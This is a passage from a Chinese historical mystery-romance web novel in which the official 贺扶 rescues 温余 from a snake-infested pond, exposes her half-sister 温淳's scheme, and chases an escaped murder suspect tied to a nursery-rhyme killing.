“这么一来就能解释张申是如何人不知鬼不觉的进出贾府了,先扮作贾元生带回家中的女子,然后在密室中将他捂死,最后从原路返回,这样除过死者贾元生就没有人能看到他了。”贺扶道。
温余也暂时从愤怒中抽离出来,问道:“那现在张申会在哪儿呢?”
“这就要看府衙搜查了。”贺扶回答道。
二人奔波一日,回到知州府时天早已暗了下来。
温余身上本就有伤,又陪着贺扶跑了一天,自然是疲惫至极,此刻就想回到床上好好睡一觉。
奈何前脚刚沾到床板后脚就听门外有人敲门。
“谁啊?我要睡了,有事明天再说吧。”温余将脸埋在被子里,声音闷闷的。
屋外丫鬟的声音响起,温余听得出来是温淳身边那个飞扬跋扈的小丫鬟。
“二小姐请您去园中一叙。”
一叙?不是对骂就不错了,还叙什么叙?
若是平日里她当然不介意和温淳对骂半晚,但是今日实在是太累,着实不想和她费口舌。
“不去,明天再说。”温余朝门外大喊。
但那丫头不罢休,温余一刻不同意敲门
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声便一刻不停。
一下又一下,温余听得心烦只好起床开门,没好气道:“哪儿叙?”
那丫鬟也回敬似的翻了个白眼,道:“跟我来吧。”
温余切了一声后跟着丫鬟来到院中的池塘边,温淳正站在池边看着池中还未长起的莲花根茎。
温余嗤笑一声,装什么风雅,臭水沟子有什么好看的?
丫鬟在温淳身后行了个礼,恭敬道:“小姐,人我带来了。”
温淳有气无力地挥挥手,“退下吧。”
丫鬟恶狠狠地瞪了温余一眼,道:“是。”
“大晚上的不睡觉,犯什么病?有话快说!”温余急着去睡觉,懒得看她在这儿摆谱。
温淳转过头,一个清晰的巴掌印正在她白皙的脸上,格外显眼。
温余忍不住“噗”的一声笑出来,对面的温淳顷刻怒发冲冠。
“你还敢笑?!”
她指着温余,气得眉毛都快竖起来了。
温余摆摆手,努力止住笑,颤抖着声音道:“不是,你大晚上不睡觉就是为了让我看你这个巴掌印?好好好,我现在看到了,我要回去睡觉了。”
见温余正要转身,温淳立刻叫住:“站住!”
“有话快说!”温余无奈道,她真的很困。
“那瓶子里的东西是你换的?人也是你叫来的?你这人怎么这么恶毒?”温淳说得愤恨,却让温余觉得没由来,她笑了一声道:“你搞清楚好不好,是你先勾引我的未婚夫,还搞到了床上,我不过是给你们点教训,还成了我恶毒了?”
温淳这种人向来是得理不饶人的,但在面对温余时她甚至不需要理,只要和温余有冲突她总能理不直气不壮地指责她,像是温余生来就是给她打骂的下人一般。
不过也是,温余虽然有官家小姐的名头但出生却与前头两位小姐不一样。
因为她的母亲是个耍了手段才爬上温如升的床的丫鬟,本想着母凭子贵,可却是个命薄的,靠着有孕蹭上个姨太的名头,却在生温余的时候难产死了,满打满算也只享了十个月的福。
温余的身份府中人都知道,府外也有不少人清楚,她常被府中下人冷眼相对,也是因为这个。
“我说你恶毒怎么了?我还要说你下贱呢,你别以为我不知道,我可是看到你和贺大人出去了一天呢,果然是和那个下贱的娘一样,见到个有钱男人就往上贴,不知廉耻的荡……”
“啪——”
没等温淳说完,一个极其用力的巴掌就落在了她的左脸上,一边一个刚好对称。
温余脸上仍带着笑,但声音却咬牙切齿:“你再说一个试试。”
温淳捂着脸,一脸不可置信:“你、你、你敢打我?”
温余眯了眯眼,“怎么不敢?每次打你就是这一句,你就不能换句话说?”
“你!”温淳指着温余,半晌说不出话来。
“下次再管不住嘴,就不止一巴掌了。”
说罢,温余转身要走,却被一股巨力一拽,天旋地转间她噗通一声落入了水中。
是那个一直在旁边看着的丫鬟。
看到温余落水,她立刻向身边的主子邀功:“小姐,曼儿做得可好?”
温淳在岸上大笑着,夸赞了曼儿几声后对着温余道:“叫你打我,我倒要看看你有几条命,还淹不死你了!”
看着刚刚还张牙舞爪的温余在水中扑腾,温淳心里的爽快简直要溢出天灵盖。
她又在岸上骂了几声后带着丫鬟离开了。走之前那丫鬟还向着水里啐了一口。
温余被泡在水里,冰冷刺骨。
她努力往岸上游,就在她快要触碰到岸边礁石时却感到小腿一刺。
借着月光,她看到水里正旋着几条长蛇,还有很多咬人的虫子。
长蛇缠上她的小腿,蜿蜒往上,她突然失了力气,慢慢沉了下去。
水没过口鼻,淹过头顶。
我要死了吗?
她想。
可是我不甘心,我还没有逃离这里,世上那么多大好河山我还未曾看到过,我不能死。
我不甘心……
意识逐渐模糊,就当她失去意识的前一刻,她看到一抹白色的身影跃入水中,正向着自己游来。
救救我……
我不想死……
她伸手去抓,却觉得自己离那人越来越远,这么也抓不到。
4. 童谣杀人(二)
贺扶回到知州府后本是想直接休息的,没想到一进屋门就迎面对上一位抱着琴的黄衣女郎,两颊晕红,如霞映白云一般,往下看她衣衫半解,半露香肩,屋内的熏香也不知何时被换成了暧昧的暖香,此情此景看得未经人事的启蛰一路从脖子根红到了天灵盖。
他吞吞吐吐好一阵,只能看向贺扶:“大人,这……”
贺扶也愣了一阵后才想起昨日温如升所说的话,想来是他误会了自己的意思才找来的乐妓。他无奈扶额,对那眉眼含春的女郎道:“姑娘还是早些回去吧。”
谁知那女郎却是个坚持的,娇娇一声:“大人可是要休息了?柔儿替您更衣如何?”
这话一出,贺扶还未有所反应便听启蛰炸开了一般,喊道:“休想侮辱我家大人!”
“启蛰,慎言。”贺扶将启蛰按下。这女郎不过听温如升的话前来,也是为了生存才不得已做此营生,无论如何也叫不得“侮辱”二字。
启蛰虽动作被限制,但眼神依旧恶狠狠地盯着那女郎,像一只护食的幼犬。那女郎也被盯得害怕,抱着琴往后缩了缩。
贺扶从窗边的贵妃榻上拿了一张小毯子,上前为那女郎披上。虽然已是春日,但夜间却也是寒凉,这女郎穿得这般轻薄,身娇体弱又被这么一冻,怕是要垮了身子。
那女郎有些受宠若惊,没想到这从京城来的高官竟会屈尊为自己披衣裳,她伸手将衣裳拢了拢后道:“大人,不需柔儿伺候您更衣,那柔儿为您弹一曲可好?”
如此重的古琴要抱这般久,也是辛苦。贺扶转头看了启蛰一眼,道:“关上门吧。”
启蛰惊道:“啊?您不会真的要……”
见启蛰这般激动,贺扶只好先转头对那女郎说:“那便请柔儿姑娘弹一曲吧,弹完后便早些回去吧。”
启蛰见贺扶不是那个意思,瞬间松了口气,转身将门关上后来到贺扶身边站着。
只见那女郎将琴安稳放在案上后端坐在琴前,玉指轻触便流出清冽的曲调,她弹了一曲《凤求凰》,是乐馆女子常弹的曲子。
启蛰听了片刻便昏昏欲睡,他着实理解不来这些琴啊曲啊的东西,有这个时间出去练两套剑谱不好吗?眼看着他要往前栽去,却被贺扶一声咳给惊醒。
“听曲莫要走神。”贺扶轻声道。
启蛰摇摇头,散了散困意后开始死死盯着那女郎,像在盯梢一般,这般盯着,就不困了。
等一曲结束,启蛰才完全放松下来,由于方才过于专注,他此刻的后背都起了一层汗,他甚至数清楚了那女郎呼吸了多少次。
贺扶起身,赞道:“好曲,柔儿姑娘好琴技。”
随后他又转身对启蛰道:“赏些银子后送柔儿姑娘离开吧。”
启蛰应了一声后从袖子拿出钱袋,赏了钱又送她离开。
见二人离开,贺扶慢条斯理地理了理衣摆,正准备休息却又总觉得自己忽略了什么。
想来想去,他又将那童谣唱了一遍,和尚、书生、商贾,都按照童谣中所说的死了,那“高门恶女”又是谁呢?
河岸小鬼来相会,什么时候相会?
越想越觉得不对,贺扶本就不多的睡意也荡然无存,只好披上衣服去庭院中散步,以舒缓心情。
行至园中,他远远地便听到了拍打水面的声音。
有人落水了!
他眼睁睁看着那人沉下水去,来不及喊人了。
他扯下外衫一跃而下,急忙将那人带出水后借着月色一看。
竟然是温余。
“温小姐?温小姐?!”
温余的意识早已模糊,他按下心神告诉自己不要太过心急,思索着落水之人的救治方法。
按压……
他将温余平放在地面上,犹豫片刻后解开她前襟的衣裳,双手交叉一下一下按压着。
温小姐失礼了,但性命攸关,贺某也顾不得这么多了,待你醒来贺某定会给你个交代的。
不知按了多久,温余吐出一口水来,之后意识也逐渐回笼。
贺扶喜出望外正要询问原因却被温余猛得推开,他一时没有反应过来,回神后才发现自己正直愣愣坐在地上,但此时却无暇顾及了,因为温余正欲再一次冲下水去。
贺扶也顾不得什么风度了,双手一撑从地上站起,上前去拉住温余。
刚刚上岸又要再下水,不说是否会着凉生病,若是又溺水可怎么办?
“温小姐!”贺扶拉住她的胳膊想要阻止她却被她用力甩开。
她站在池边四下看了看,目光锁定在墙角摆放的一个草筐里,那是用来收落叶的,不过正值春季,也用不着,里面也只放了些扫把什么的。
温余将筐中的东西尽数倒光,随后淌水下去,在池中捞着什么。
贺扶看着她一下一下捞着,池子里有五条长蛇,还有若干不怕水的毒虫。
水池里怎么会有这些东西?!可是有人故意投放?
贺扶发怔片刻温余已将池中的东西捞干净,转身就向着一个地方疾步而去。
从被他自水中救起到提筐离开,温余竟是没有说一句话,发出一个声调。
贺扶才觉她状态不对,担心她又出什么事便快步跟上前去,直到温余停在书云苑门前。
那是温家二小姐的院子。
只见温余一脚踹开房门,屋中上药的温淳发出一声惊呼后出声骂道:“你这贱人竟然还能从水里出来?还真是命大,淹不死你你还不去你那个野娘坟前头哭几声,感谢她保你这条贱命不死!”
贺扶眉皱成川字,这温二小姐未免骂得太脏,不似官家小姐,倒像是个发疯的泼妇,而且听她话中的意思是她将温余推下水的,如此行径,太过恶劣!
温余冷着脸,几滴水珠从发间落下,发丝成了一缕一缕的,正好露出那那双带着怒气的眸子,她冷冷道:“说完了吗?”
温淳不以为意,还嗤笑一声,傲慢道:“说完了,你可以滚了。”
温余冷脸提着筐子走到她面前,“说完了,就该我了。”她抬手将草筐一翻,筐里那些用来害她的蛇虫便尽数洒在温淳脸上。
温淳没想到她会这么大胆,噤声片刻后发出一声凄惨的嚎叫。
“你从哪里翻出来的东西,就自己拿回去。”
说罢,温余将草筐往旁边一摔,正巧砸在那丫鬟的腿上,筐壁上爬着的小虫也顺势咬上丫鬟的腿。
丫鬟惨叫一声摔在地上,不停用手拍打着身上。
看着温淳和丫鬟狼狈扑腾的模样,温余冷笑一声,“我也说完了,我走了,不用送。”
她没有再理温淳慌乱的咒骂,转身大步流星走出房门后对着愣愣站在门口的贺扶道了一声:“多谢贺大人,救命之恩,小女愿为贺大人效犬马之劳。”
“咳,不必的。”贺扶轻咳一声,他着实是没想到看起来柔柔弱弱的温余还能有这一面,看来这“恶霸”的名头也不是凭空捏造的,不过这温二小姐此举未免太过火了,若是他没有恰巧经过,那温小姐今夜怕是就要葬身那莲花池了。
“温小姐可有何不适?可要去找大夫?”贺扶关切道。
温余抖抖身子,衣服上沾了水都贴在身上了,湿漉漉的,难受得很,“我没事,不必麻烦贺大人了。”
贺扶还是觉得不妥,又见温余双肩有些颤抖,看来是冷的,也是个硬撑不说的。
“贺大人,不必……”
没等温余拒绝,贺扶便将自己刚刚披上的外衣盖在她身上,还顺手拢了拢,看起来不容拒绝。檀香瞬间包裹住了她,使得她有些晕乎乎的。
“温小姐还是早些回去吧,莫要着凉了。”贺扶声音轻柔,像在哄一个啮齿小儿睡觉一般。
温余见无法反抗又念及自己因为温淳染了病也是不划算,便只好妥协道:“多谢贺大人,小女明日给您洗干净了送去。”
贺扶本想着拒绝,但又觉得自己这般怕是会让温余误会自己嫌弃她便半路改口道:“那贺某便提前谢过温小姐了。”
“贺大人不必谢的。”温余吸了吸鼻子。完了,怕是真的要染上风寒了!
她慌忙冲贺扶屈了屈身后转身跑开。“小女先告辞了,贺大人好梦!”
贺扶站在原地看着那飞快跑开的身影,不由失笑。
看来今晚又睡不着了。
—
次日一早贺扶便应邀前往书房与温如升共商扬州治理问题,也想着同他说说昨夜温淳一事。
温淳能那般不惧地行事,背后定是有温如升撑腰,若是再纵容下去,怕是要酿出大祸。
不过温如升想法却是单纯,他没什么想问的,就是单纯的想拍马屁罢了。
他硬扯着贺扶从户籍整理到农户土地再到商户限制,聊了许久,通篇都是自己从书册上看来的大道理什么的,只为了贺扶的一句“温大人有为”。
温如升说得正尽兴,门却被猛得一把推开,他皱着眉头本要呵斥,却见来人是自己的宝贝女儿,脸色立刻变成慈父模样。
那温淳哭哭啼啼的进来,见贺扶在现场便装模作样的行了一礼。
“爹爹……”百转千回的一声叫得温如升骨头都酥了,立马迎上去关切地问:“诶呦我的宝贝儿,怎么了?哭成这样,谁欺负你了?爹爹替你去揍她!”
温淳眼泪婆娑,分明是欺负人的那个,却哭得比被欺负的还惨。贺扶不由蹙眉。
她哭诉道:“还能是谁?当然是温余那个小……”
温淳看了贺扶一眼,有些顾忌便转口道,“当然是三妹妹,她昨个儿晚上不仅扇了我一巴掌还往我身上倒蛇虫,你看看我的胳膊都被咬坏了!”
说着,她挽起袖子将被咬得可怖的胳膊露给温如升看,洁白的藕臂上是被咬得坑坑洼洼的伤口,看来那些毒虫也是些厉害的。
温如升眼中的心疼怕是快要溢出来了,轻轻抬着温淳的胳膊,小口小口帮她吹着,生怕这吹出来的气把温淳弄疼了似的。
“怎么回事啊?那小混蛋怎么又找我家淳儿麻烦?”
有人撑腰,温淳表情更加委屈,精致的小脸都皱在了一起:“还不是何二哥哥的事情?她怀恨在心所以就这么对我,淳儿还以为自己要被这蛇虫咬死了,就见不到爹爹了!”
无论是话术还是神态都这般娴熟,看样子也不止一次两次了,贺扶不由去想在他未来之前,温余不知被她如何欺负,又被温如升如何冤枉。
他虽知温余那性子应当不会让自己吃亏,但还是不由心疼她。她今年不过十七,在京城的众多少爷小姐中还是扯着父母手臂撒娇的年纪,怎的过得这般凄惨?
“温二小姐。”贺扶顺了顺气后冷声开口,“昨日之事贺某曾亲眼目睹,强词夺理、诬陷诽谤,怕是不妥。”
他虽说不出什么重话,但身来高贵的他也是有不怒自威的本事的。
这一说也是让温淳一噎。昨日场面混乱,她自然也没注意到屋外的贺扶,若是她早知贺扶在场,她便换个时间来了。
“什、什么?”温如升忽然顿住,看向贺扶冲他扯出个笑来,问,“贺大人此言何意?是说我家淳儿她骗了您?”
温如升怎能不知这两位女儿的情况,无非是你打打我,我打打你,就算闹到他面前,让他主持公道那也是嘚着温余一个人,毕竟这人活在世上,色彩事物都有个偏好呢,偏心些又如何?反正他供她吃供她穿,没让她饿死或冻死街头就是仁至义尽了。
就等着嫁到何家给自己拉些银钱关系来,却被这贺扶一搅和,如今也是渺
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茫,本想借着这事好好出出气,灭灭她的威风,却没想到贺扶还要插手。
“并非是骗贺某,而是骗您。”贺扶自然也看得清楚,面前这人本就是揣着明白装糊涂的,“不过若是温大人有心单听温二小姐一面之词,那贺某也无话可说。”
贺扶少见冷了脸,温如升心中的一丝不悦也顷刻散去,顿时心如擂鼓,只好摊开了说:“不不不,下官自然是要讲道理的,断然不能以私心理家事。”
“贺大人请说。”温如升额上渗出几滴冷汗。
“依昨夜贺某所见,是温二小姐将温三小姐推下水,还在水中放蛇,若不是贺某即时赶到温三小姐怕是会有性命之忧,这一过程温二小姐为何不同温大人说清楚?”
贺扶看向温淳,目光如炬。
温淳自知无法同贺扶辩解,又怕自己贸然开口会惹怒了他,只好求助般看了温如升一眼,温如升却将目光移开。
官位和心下不爽快孰轻孰重,他还是分得清的。
见温如升不应,她只能暗下掐掐自己的手掌,双目含泪,好让自己看着更楚楚可怜些,她对贺扶解释道:“那也是因为三妹妹打我,贺大人您看小女脸上这巴掌印子,正是出于三妹妹之手。”
“贺某愚钝,不知哪家莲花池中会养蛇虫做观赏,不知二小姐能否为贺某解惑?”贺扶也不由着她,直接将蛇虫一事指出,这确实让她百口莫辩。
温淳眼神变得飘忽,不敢对上贺扶的眼睛。那双眼睛平日里如水似风般款款温柔,但此刻却如同一把利刃,直直往温淳心上戳。
温如升见事态发展不妙,急忙上前打断,劝道:“贺大人息怒,这事情的来龙去脉不如去寻了老三再作结论,单单在此与淳儿说道,怕也会有所错漏。”
“对,对啊!”温淳也附和道,“我们去找了三妹妹,对簿公堂!”
淳儿和老三,这单从话语中就能听出的偏心。
贺扶无奈点了点头,道:“好,那便去找温三小姐。”
如果他没猜错,这温余定能料到温淳会带着温如升去找她,好出一口恶气,此刻应当也有所防备。同去便同去吧,有自己在这里温淳应当也闹不出什么乱子。
等到了温余的院子,贺扶虽已有所预料却也不由一愣。
小院门扉已经腐朽,门框松动似乎有人用力一敲便会倒塌,原本洁白的墙壁也早已斑驳,只余裂缝和霉菌四布。
同为亲女,二小姐千娇百宠,这三小姐却被扔在这破败的院子里。
贺扶心中怜悯更甚。那般聪慧伶俐的小姑娘竟被这般对待,他甚至想将她一同带走,让她与启蛰一般跟在自己身边,还能过得更恣意舒心一些。
发觉自己想法的那一刹,贺扶不由一顿,自己是在想什么?启蛰跟在自己身边是因为他举目无亲,况且还是一位男子,而温余虽不被父亲疼爱但也是有家有族的,还是位姑娘家,如何能跟着自己奔波?
不妥,着实不妥。他摇了摇头,将那莫名的想法甩出脑后轻轻推开门,一打眼便见院中央那口被打的精致的红木棺材。那棺材盖子还未合上,凑近了看,只见温余正躺在里面。
“老三,你这是作甚!”温如升只看了一眼,便忙跑上前去想将温余自棺材中拉起来。
这寻死觅活的,贺扶本就因为这事生气,她又这般胡闹,怕是把自己脑袋往刀子底下推啊!
温余被生拉硬拽的拉出来棺材,等温如升一放手便立刻瘫软在地上。
“你!这是怎么回事?”温如升大惊。
温余整个人都趴在地上,面色苍白,呼吸微弱,仿佛下一秒就会咽气,她掀了掀沉重的眼皮,虚弱道:“父亲,您总算是来了,阿余还当今生再也无法见您了……”
“什么今生见不见的?快些起来,贺大人可在呢!”温如升俯身想将温余扶起来,却被她灵巧躲过。
温余露出个疲惫的笑来,没有看贺扶,只是眼含热泪地注视着温如升:“不过在死前能见您一面,阿余也就知足了。”
见温余又要晕,温如升飞快握住她的肩膀将她摇醒,“你说清楚?怎么回事?”
温余看向一旁早就呆住的温淳,虚弱道:“都怪我抢了二姐姐的心上人,惹得二姐姐不快才落得此等下场,不过待我死了,二姐姐就能与心上人有情人终成眷属了……”
“什么意思?”温淳被这么一指,明里暗里都是在说是她想害死温余,她立刻跳起,上前去扯过温余的右臂,质问道:“你瞎说什么胡话?我找来的可都是些毒素轻微的蛇虫,怎么可能会要了你的命?你别给我在这儿装!”
话一出口,在场四人皆一愣,温余见这人不打自招,心中偷笑几声后也心满意足的晕了过去。
一切搞定,剩下的就不用自己掺和了,反正贺扶在场,温如升也不能一意孤行地将自己拖去上善堂打一顿。
“淳儿!你……”温如升抱着晕倒的温余,看着温淳,一脸恨铁不成钢,这温淳都自己说出来了还怎么和贺扶掰扯?
“不是的,不是的,我不是……”温淳还想辩解,但话是从她自己的嘴里说出来的,自然也没有狡辩的可能了。
贺扶上前从温如升怀中揽过温余,打横抱起。
感受到怀中那人削瘦的身体和如落叶般轻飘飘的重量贺扶动作一顿。他侧目看了温如升一眼后,道:“温大人若是还想要这个女儿便快些去请大夫吧,”
说罢便抱着温余往屋里走,见温余眯着眼往温如升那边看,他轻声道:“先把眼睛闭上,莫要被发现。”
温余听话的闭上眼,朝他做了个口型:多谢贺大人。
她憋着笑,着实像一只偷腥的小猫,被她这么一逗,贺扶心中的阴霾也散去不少,不知为何,他想带温余走的想法竟愈发强烈起来。
5. 童谣杀人(三)
进了屋子,贺扶将温余轻轻放下,仿佛在对待什么珍宝一般生怕哪里磕了碰了。脚一落地,温余便趴在门边去看院中二人的情况。
只见温淳扯着温如升的袖子撒娇:“爹爹你看那小贱人竟还勾搭了贺大人帮她,你可要帮帮淳儿啊!”
谁料温如升一甩袖子,沉下脸道:“惹出这么大的乱子,还不滚回去反省!”
温淳顿时一震,从小到大,她可从未被人这般吼过,第一次竟然是因为那个爹不疼娘不爱的温余?!
见温淳还愣在原地,温如升终究是于心不忍,凑近劝说温淳道:“乖宝贝儿,先回去装模作样反省几天,等贺大人走了爹爹再帮你出气可好?”
温淳听温如升这般说,心中顿时有了底气,又拉着温如升的手臂娇声说了几句后便扭着身子离开了,那样子怎么看怎么像一条水蛇。
温淳一走,温如升便要进来,温余立刻躺在床上,胡乱拉着被子将自己给盖住,闭上眼。
贺扶上前将被角掖了掖后,负手等温如升进来。
“贺大人,老三她……”温如升一进来便是一副忧心至极的样子,若是不知内情还真当他是一位关心女儿的好父亲,他伸出手想去碰温余,但又见贺扶正淡淡盯着自己,只好将手给收回去。
“温大人还未去请大夫?”贺扶问道。
温如升一拍脑袋,佯装懊恼道:“看下官急得,都糊涂了,劳烦贺大人照看小女,下官这就去请大夫。”说罢,温如升提着衣摆,略微笨拙的往外跑。
等温如升的身影彻底消失在院门口,贺扶才对紧闭双眼的温余道:“温大人离开了,温三小姐可以醒了。”
听贺扶说完,温余才猛得坐起身来,笑道:“我就说,以温淳那脑子根本瞒不住事儿,这一诈不就出来了?”
贺扶看温余尾巴都快要翘到天上去了,忍俊不禁道:“三小姐当真会使诈。”
“兵不厌诈嘛!”温余嘿嘿笑两声,又忽的想起,翻身就要起来却被贺扶按下去,贺扶柔声问她:“三小姐先休息,想拿什么,贺某代劳。”
温余见他说得认真便也认真解释道:“我没事的,刚刚是为了诈温淳的话。”
“贺某知晓,但三小姐还是要多多休息的,眼下都有乌青了。”贺扶不自觉地将手抚上温余的眼,感受到一阵轻颤,他忽得反应过来,立刻收回手,道,“抱歉,失礼了。”
温余倒是不甚在意,触碰而已,她同街上的乞儿混混一起闹腾惯了,早就习以为常,至于眼下乌青,大概是为了打那口棺材熬了几天所致,不过赚钱嘛,不磕碜!
见贺扶没有让自己起来的意思,她只好朝着屋西边的书案指了指,道:“那是贺大人的衣裳,我昨夜给您洗干净了,您带回去吧。”
贺扶顺着温余所指的方向看去,只见自己的衣裳正整齐的摆放在案上。他点了点头道:“贺某知晓了。”
随后他便起身上前去拿那衣裳,凑近后才发现那案上还摆着一支淡粉的海棠花,插在一个瓷罐里,长的喜人,淡淡的香气扑鼻,倒是让人觉得舒心。瓷罐边的案面上还刻着三个小人儿,笔画幼稚,应当是孩童所刻,那三个小人儿两大一小,小的那个被牵着,待在中间,看起来是十分幸福的一家三口。
贺扶心中泛酸,他似乎能看到儿时的温余拿着小刀刻画的样子,不知她可会觉得委屈,可会想哭?
他虽父母早亡却幸得师父教养,还有师兄扶持,童年虽不说极好却也是十分安稳欢欣的。
念此,他轻轻闭了闭眼,正要走回温余身边又听屋外有人道:“大人,张申已经抓到了。”
是启蛰。
“稍等。”贺扶将衣裳搭在小臂上,对门外道了一声后见温余又要起身,便对她道,“温三小姐还是安心休息吧,温大人应当不到一炷香便回来了。”
温余左脚迈下床,听贺扶一提醒便又收回,也是,若是自己跟着贺扶出去了,不就露馅了吗?
“那,贺大人慢走。”温余无奈作罢。
出了院子,贺扶跟着启蛰一路来到府衙地牢,其中阴暗潮湿,初春竟也是刺骨的寒冷。
贺扶一路行至最里,只见一位褐衣少年正瘫坐在墙角,身材娇小,一张极秀气的脸被泥土遮了不少,若是擦干净了怕也是个俊美的小少年。
“你便是张申?人也是你杀的?”贺扶命狱卒打开牢门,上前同张申讲话。
张申没有抬眼也没有说话,只是轻轻点了点头。
贺扶看向启蛰,后者也明白他的意思,对他道:“我们是在张喜的墓前找到他的,他对罪行供认不讳,抓他时他也不跑,很是奇怪。”
“你杀人是为了给姐姐报仇?”贺扶又问。
张申继续点头。
之后的半个时辰,无论贺扶说什么张申都是沉默点头,若不是贺扶知晓他的底细怕是都要怀疑他是一个哑巴了。
贺扶理了理衣摆,既无计可施也只能这样了,便吩咐启蛰:“去找人来画押吧,按照律法处置。”
临走前,他又转头看了张申一眼,见他仍是低着头,眸中一沉。
不对劲,这人,有些太安静了,莫不是还有什么后手或是同伙?
贺扶沉思着出了地牢,离开前还向狱卒嘱托了好生看管张申。不过一抬眼却见启蛰正抱着剑与不知何时赶来的温余针锋相对。
“我说你个未出阁的姑娘家成天缠着我家大人做什么?图谋不轨?”
“我怎么缠着你家大人了?你这是污蔑!”
“嘿,上次查案你要跟着,这次你还要跟来,还说没有缠着我家大人!”
“呦,就算是我缠着你家大人不放了,你家大人不也没说什么,简直是皇上不急太监急!”
“你!”启蛰指着温余,咬牙切齿道,“你说谁是太监!?”
“打个比方嘛。”温余理所当然,余光瞥见了牢门口的贺扶,立刻转向他,笑得灿烂,“贺大人,您可觉得我烦?”
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启蛰切了一声,道:“我家大人芝兰玉树,温和有礼人人皆知,你这丫头还盼着他说出烦你这种话不成?”
“我又没问你!”温余上前想踩他一脚,却被他利落躲开,温余撇撇嘴,只好作罢。
“贺某不是嘱托温三小姐好生休息吗?怎又来此了?”贺扶微微勾唇询问,启蛰立马应和道:“你看吧,我家大人话里的意思就是你不在家里待着,非要缠着他做什么。”
“你家大人不会说话啊?要你传达?”温余也不吃亏,反击道。
“我……”
还真是牙尖嘴利。贺扶嘴角扬起一个弧度,对启蛰道:“启蛰,噤声。”
随后又问温余一遍,“温三小姐为何来此?”
“我得到一个消息!”温余开门见山道。
贺扶诧异,“什么消息?”
“是有关您此次来扬州的目的。”温余直接道,但话一出口却被一把闪着寒光的剑横在脖颈处。
启蛰厉声道:“你知道什么?”
温余不由缩了缩脖子,这般凶狠,看来真是个不得了的大事。
“启蛰,退下。”待启蛰收起剑,贺扶才沉声道,“温三小姐知道什么?”
温余被刚刚那一剑吓得有些发怵,不自在地咳了几声后冲贺扶眨眨眼,道:“贺大人凑近些,小女只告诉您一人。”
“你!你想轻浮我家大人!”启蛰提高了声调。
“只是担心隔墙有耳,被旁人听了去,你这般激动做什么?”温余歪头看向贺扶,眯眼笑着。她本想直接说的,奈何这启蛰讨厌得紧,便想着气气他,
贺扶点了点头,道:“好。”
见贺扶同意,温余看了启蛰一眼,见他一脸愤懑后暗暗冲他做了个鬼脸,随后凑到贺扶耳边,轻声道:“贺大人此行是为了宫中宝物迦南玉。”
贺扶心下一沉,这温三小姐当真知道?又是何人告诉她的?为何要告诉她?
“温小姐容贺某一问,”贺扶的神色也凝重了不少,“这消息是何人告诉你的?”
“我父亲请来的那位大夫,一进门就跟我说这些,说完就走了,都没等我问他是何人。”温余耸耸肩,她也觉得莫名其妙。
“那三小姐可记得那人的模样?”贺扶追问。
温余点头道:“记得,我还可以画出来呢!”
贺扶看向启蛰命令道:“带温小姐去寻纸笔,等画完后照着画去追查那人。”
启蛰抱拳道:“是。”
是了,贺扶前来扬州不止是为了这桩疑案,更多的是为了寻回一件宝物,骠骑将军西征带回的迦南玉,色润而味香,圣上喜欢得紧,又知皇后生辰将近,便打算将这玉作为生辰礼,却在前些日子被盗。
圣上想给皇后一个惊喜,自然不能大张旗鼓的去找,只好派贺扶循着痕迹寻找,正巧来到了扬州,又正巧遇上了杀人案,又正巧……
贺扶看向温余轻快离开的背影。
遇上了温余。
6. 童谣杀人(四)
入夜,贺扶合衣欲睡,却听屋外响起一阵闹声。
他推开门,正好启蛰从天而降,他微微喘着气,面上焦急,道:“大人,不好了,张申出逃了。”
“张申出逃?”贺扶抬眼看向地牢方向,问他,“牢中守卫呢?如何能让他出逃?”
“我们赶到的时候,守卫都被迷晕了。”启蛰答道。
“入狱前你们可有搜查过他身上藏有什么暗器迷药?”
“查过了,什么都没有。”
贺扶眸色一暗,轻声道:“张申坡脚,竟能悄无声息的离开,看来是有人帮忙,不过他都已经认罪了,现在出去还有什么意义呢?”
虽有疑惑,但此刻再去想这些已经没有用了,只能先将张申找回,以免他再害人。
“先随我回地牢看看。”
贺扶同启蛰快步出府,行至街上便听自街口传来一阵清晰的梆子声。
此时已近三更。
贺扶停下动作,转头看着街头的打更人自巷口出现又在对面的巷口消失。
“更鼓响,邦邦邦……”
贺扶声音很轻,启蛰疑惑道:“大人,怎么了?”
“去书云苑。”
贺扶转身快步离去,只留启蛰在原地发愣。
书云苑?那不是温二小姐的院子?
虽是疑惑,但启蛰还是跟着贺扶去了。
到了院中二人发现温余竟早已站在门口,门被打开,屋里空荡荡的,没有半点人影。
“温三小姐?”启蛰诧异道,“你怎么会在这里?”
温余没有回答,而是看向贺扶,“温淳被带走了。”
果然……
他没猜错,那童谣中所唱的“高门恶女”便是这温二小姐,之前在马车上温余曾说过张喜生前在温家府上做工,那定然和那温二小姐也有联系。
至于地点,河岸……
“温三小姐可知距此最近的河岸在何处?”贺扶问她。
温余大抵将这里离城外每条河的距离都算了一遍,才道:“从后门一直向东,出城就能看到护城河。”
说罢,温余转身就向外跑,冲贺扶喊道:“我带路,你们跟上。”
“这是怎么回事?为什么要去护城河?”启蛰还在想温余为什么会在这里,贺扶便准备要跟着温余跑了。
“那首童谣中唱,高门恶女忙躲藏,河岸小鬼来相会。”贺扶定下对他解释道。
“那高门恶女是温二小姐?”启蛰有些惊讶,他从未将二人联系到一起。
一个穷酸女工和高门小姐,而且温淳那鼻孔看人的性子也不会认识张喜吧?
“温三小姐曾说张喜曾在知州府中做工,二人应当有交集,具体原因稍后再问温三小姐,我们先跟上。”贺扶来不及和他解释了,只能先粗略一说。
“是。”启蛰也不再多想,跟着贺扶去追温余。
二人追着温余的脚步一路来到城外。
温余一边找人一边向两人解释:“温淳这人看人下菜,张喜家境贫寒又性子温吞,被派到她手下做事被欺负了许久。当时被传出她和贾员外有染后,温淳便把她给辞了,工钱都不给结,还痛骂了一顿。”
贺扶接着道:“张喜做工是为了拿钱给弟弟治病,温二小姐不结工钱还将她赶走,再加贾员外欺压,出了知州府怕是没有地方再收她。”
“被欺辱压榨,又被断了财路,这姑娘着实可怜。”启蛰感叹,觉得惋惜,但这同他也没什么关系,所以也只是惋惜片刻,便继续仔细搜寻温淳的身影。
今晚无月,只有几颗黯淡的星星,他方才出来时一着急竟忘了提灯,着实是看不真切。启蛰抬头也只能看到远处的树影随微风摇摆着,仿若一头张牙舞爪的猛兽,正在向他示威。耳边也只能听到树叶被风吹动的沙沙声,和潺潺的水声。
他想淌过河去对岸看看,但当他行至深水处后竟发现从对岸泛起了一圈涟漪,他眯着眼睛看去,只见温淳正在水中扑腾。
他一着急,本想直接游过去,却被目睹了他行为的贺扶叫住:“莫要莽撞,水势未知,当心溺水!”
“是。”启蛰这才从水中回到岸上,急忙道,“大人我们快些去那边!”
